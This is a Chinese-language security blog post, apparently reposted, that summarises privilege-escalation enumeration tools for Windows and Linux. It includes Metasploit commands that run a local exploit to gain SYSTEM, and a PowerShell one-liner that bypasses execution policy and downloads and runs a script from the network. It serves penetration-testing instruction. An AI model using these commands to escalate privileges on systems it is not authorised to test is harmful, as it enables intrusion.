文章来源 :HACK学习呀
常用的提权扫描辅助工具总结
使用Windows-Exploit-Suggester解析systeminfo
下载地址:https://github.com/AonCyberLabs/Windows-Exploit-Suggester
./windows-exploit-suggester.py
使用Linux-Exploit-Suggester.sh寻找linux提权问题
下载地址:https://github.com/mzet-/linux-exploit-suggester
./linux-exploit-suggester.sh
使用Sherlock工具
下载地址:https://github.com/rasta-mouse/Sherlock
Import-Module Sherlock.ps1
Find-AllVulns
使用MSF查询补丁和可利用提权漏洞
#查询补丁
meterpreter> run post/windows/gather/enum_patches
[+] KB2999226 installed on 11/25/2020
[+] KB976902 installed on 11/21/2010
#查询Exp
msf> use post/multi/recon/local_exploit_suggester
msf> set LHOST <攻击机IP>
msf> set SESSION <session_id>
msf> run
# 利用示例
msf> use exploit/windows/local/cve_2019_1458_wizardopium
msf> set SESSION <session_id>
msf> run
meterpreter> getuid
Server username: NT AUTHORITYSYSTEM
使用powerup检查提权漏洞
powershell.exe -exec bypass -Command "& {Import-Module .PowerUp.ps1; Invoke-AllChecks}"
powershell.exe -nop -exec bypass -c "IEX (New-object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1');Invoke-AllChecks"
使用accesschk.exe对系统扫描发现高权限可执行程序,且能够被低权限用户更改
accesschk "d:dir"
查看所有用户在d盘dir路径的子路径的权限
accesschk "Administrator "d:dir"
查看Administrator用户在d盘dir路径的子路径的权限
accesschk Administrators -c *
查看Administrators组对所有服务的权限
accesschk -k Guest hklmsoftware
查看Guest用户对hklmsoftware注册表的权限
accesschk -ou User
查看User用户对全局对象的权限
查找主机上具有的CVE,查找具有公开EXP的CVE的Python脚本
下载地址:https://github.com/chroblert/WindowsVulnScan
.KBCollect.ps1
python3 -m pip install requirements.txt
cve-check.py -u
查看具有公开EXP的CVE
cve-check.py -C -f KB.json
在线提权漏洞检测平台
极光无限出品的安全扫描仪,在提权方面,基于其强大的安全检测能力,能够给出专业的修复建议,有效验证和加固网络资产漏洞。
查询地址:https://detect.secwx.com/
提权辅助网页
在Windows提权的时候,对比补丁找Exp很烦吧?这个网站数据源每周更新一次,值得推荐
查询地址:http://bugs.hacking8.com/tiquan/
版权申明:内容来源网络,版权归原创者所有。除非无法确认,都会标明作者及出处,如有侵权,烦请告知,我们会立即删除并致歉!
原文始发于微信公众号(程序员阿甘):Windows/Linux下常用的提权扫描辅助工具总结
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论